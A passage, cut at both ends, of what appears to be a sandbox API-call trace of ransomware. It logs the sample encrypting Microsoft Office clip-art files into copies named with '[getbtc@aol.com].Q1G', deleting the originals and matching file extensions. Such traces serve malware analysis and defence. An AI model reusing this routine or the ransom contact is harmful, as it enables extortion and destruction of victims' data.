nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x40f8, lpOverlapped=0x0) returned 1 [0262.790] WriteFile (in: hFile=0x1c0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x4100, lpOverlapped=0x0) returned 1 [0262.791] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.791] WriteFile (in: hFile=0x1c0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.791] SetEndOfFile (hFile=0x1c0) returned 1 [0262.792] CloseHandle (hObject=0x1c0) returned 1 [0262.792] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.792] SetEndOfFile (hFile=0x3a0) returned 1 [0262.794] CloseHandle (hObject=0x3a0) returned 1 [0262.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf")) returned 1 [0262.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0262.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0262.795] lstrlenW (lpString=".doc") returned 4 [0262.795] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.795] lstrlenW (lpString=".docx") returned 5 [0262.795] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0262.795] lstrlenW (lpString=".pdf") returned 4 [0262.795] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.795] lstrlenW (lpString=".xls") returned 4 [0262.795] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.795] lstrlenW (lpString=".xlsx") returned 5 [0262.795] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0262.795] lstrlenW (lpString=".ppt") returned 4 [0262.795] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0262.795] lstrlenW (lpString=".zip") returned 4 [0262.795] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.795] lstrlenW (lpString=".rar") returned 4 [0262.795] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.795] lstrlenW (lpString=".bz2") returned 4 [0262.795] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.795] lstrlenW (lpString=".7z") returned 3 [0262.795] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0262.795] lstrlenW (lpString=".dbf") returned 4 [0262.795] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0262.796] lstrlenW (lpString=".1cd") returned 4 [0262.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0262.796] lstrlenW (lpString=".jpg") returned 4 [0262.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0262.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0262.796] lstrlenW (lpString=".doc") returned 4 [0262.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.796] lstrlenW (lpString=".docx") returned 5 [0262.796] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0262.796] lstrlenW (lpString=".pdf") returned 4 [0262.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.796] lstrlenW (lpString=".xls") returned 4 [0262.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.796] lstrlenW (lpString=".xlsx") returned 5 [0262.796] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0262.796] lstrlenW (lpString=".ppt") returned 4 [0262.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0262.796] lstrlenW (lpString=".zip") returned 4 [0262.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.796] lstrlenW (lpString=".rar") returned 4 [0262.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.796] lstrlenW (lpString=".bz2") returned 4 [0262.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.796] lstrlenW (lpString=".7z") returned 3 [0262.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0262.796] lstrlenW (lpString=".dbf") returned 4 [0262.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0262.796] lstrlenW (lpString=".1cd") returned 4 [0262.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0262.797] lstrlenW (lpString=".jpg") returned 4 [0262.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.797] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.797] lstrlenW (lpString="J0152690.WMF") returned 12 [0262.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.797] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=1268) returned 1 [0262.797] CloseHandle (hObject=0x3a0) returned 1 [0262.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf")) returned 0x20 [0262.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.798] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.798] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0262.799] GetLastError () returned 0x0 [0262.799] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x4f4, lpOverlapped=0x0) returned 1 [0262.878] WriteFile (in: hFile=0x1c0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x500, lpOverlapped=0x0) returned 1 [0262.879] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.879] WriteFile (in: hFile=0x1c0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.879] SetEndOfFile (hFile=0x1c0) returned 1 [0262.879] CloseHandle (hObject=0x1c0) returned 1 [0262.880] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.880] SetEndOfFile (hFile=0x3a0) returned 1 [0262.884] CloseHandle (hObject=0x3a0) returned 1 [0262.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf")) returned 1 [0262.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0262.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0262.890] lstrlenW (lpString=".doc") returned 4 [0262.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.891] lstrlenW (lpString=".docx") returned 5 [0262.891] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.891] lstrlenW (lpString=".pdf") returned 4 [0262.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.891] lstrlenW (lpString=".xls") returned 4 [0262.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.891] lstrlenW (lpString=".xlsx") returned 5 [0262.891] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.891] lstrlenW (lpString=".ppt") returned 4 [0262.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0262.891] lstrlenW (lpString=".zip") returned 4 [0262.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.891] lstrlenW (lpString=".rar") returned 4 [0262.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.891] lstrlenW (lpString=".bz2") returned 4 [0262.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.891] lstrlenW (lpString=".7z") returned 3 [0262.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0262.891] lstrlenW (lpString=".dbf") returned 4 [0262.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0262.891] lstrlenW (lpString=".1cd") returned 4 [0262.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0262.891] lstrlenW (lpString=".jpg") returned 4 [0262.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0262.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0262.891] lstrlenW (lpString=".doc") returned 4 [0262.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.891] lstrlenW (lpString=".docx") returned 5 [0262.891] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.892] lstrlenW (lpString=".pdf") returned 4 [0262.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.892] lstrlenW (lpString=".xls") returned 4 [0262.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.892] lstrlenW (lpString=".xlsx") returned 5 [0262.892] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.892] lstrlenW (lpString=".ppt") returned 4 [0262.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0262.892] lstrlenW (lpString=".zip") returned 4 [0262.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.892] lstrlenW (lpString=".rar") returned 4 [0262.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.892] lstrlenW (lpString=".bz2") returned 4 [0262.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.892] lstrlenW (lpString=".7z") returned 3 [0262.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0262.892] lstrlenW (lpString=".dbf") returned 4 [0262.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0262.892] lstrlenW (lpString=".1cd") returned 4 [0262.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0262.892] lstrlenW (lpString=".jpg") returned 4 [0262.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.892] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.892] lstrlenW (lpString="J0152698.WMF") returned 12 [0262.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.895] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=1208) returned 1 [0262.895] CloseHandle (hObject=0x3dc) returned 1 [0262.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf")) returned 0x20 [0262.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.924] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.924] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.924] GetLastError () returned 0x0 [0262.924] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x4b8, lpOverlapped=0x0) returned 1 [0262.926] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0262.927] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.927] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.927] SetEndOfFile (hFile=0x1b8) returned 1 [0262.927] CloseHandle (hObject=0x1b8) returned 1 [0262.928] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.928] SetEndOfFile (hFile=0x37c) returned 1 [0262.930] CloseHandle (hObject=0x37c) returned 1 [0262.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf")) returned 1 [0262.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0262.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0262.931] lstrlenW (lpString=".doc") returned 4 [0262.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.931] lstrlenW (lpString=".docx") returned 5 [0262.931] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.931] lstrlenW (lpString=".pdf") returned 4 [0262.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.931] lstrlenW (lpString=".xls") returned 4 [0262.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.931] lstrlenW (lpString=".xlsx") returned 5 [0262.932] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.932] lstrlenW (lpString=".ppt") returned 4 [0262.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0262.932] lstrlenW (lpString=".zip") returned 4 [0262.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.932] lstrlenW (lpString=".rar") returned 4 [0262.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.932] lstrlenW (lpString=".bz2") returned 4 [0262.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.932] lstrlenW (lpString=".7z") returned 3 [0262.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0262.932] lstrlenW (lpString=".dbf") returned 4 [0262.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0262.932] lstrlenW (lpString=".1cd") returned 4 [0262.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0262.932] lstrlenW (lpString=".jpg") returned 4 [0262.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0262.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0262.932] lstrlenW (lpString=".doc") returned 4 [0262.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.932] lstrlenW (lpString=".docx") returned 5 [0262.932] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.932] lstrlenW (lpString=".pdf") returned 4 [0262.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.932] lstrlenW (lpString=".xls") returned 4 [0262.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.932] lstrlenW (lpString=".xlsx") returned 5 [0262.932] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.932] lstrlenW (lpString=".ppt") returned 4 [0262.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0262.933] lstrlenW (lpString=".zip") returned 4 [0262.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.933] lstrlenW (lpString=".rar") returned 4 [0262.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.933] lstrlenW (lpString=".bz2") returned 4 [0262.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.933] lstrlenW (lpString=".7z") returned 3 [0262.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0262.933] lstrlenW (lpString=".dbf") returned 4 [0262.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0262.933] lstrlenW (lpString=".1cd") returned 4 [0262.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0262.933] lstrlenW (lpString=".jpg") returned 4 [0262.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.933] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.933] lstrlenW (lpString="J0152708.WMF") returned 12 [0262.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.934] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=4908) returned 1 [0262.934] CloseHandle (hObject=0x37c) returned 1 [0262.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf")) returned 0x20 [0262.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.934] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.934] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.935] GetLastError () returned 0x0 [0262.935] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x132c, lpOverlapped=0x0) returned 1 [0262.936] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1330, lpOverlapped=0x0) returned 1 [0262.937] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.937] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, 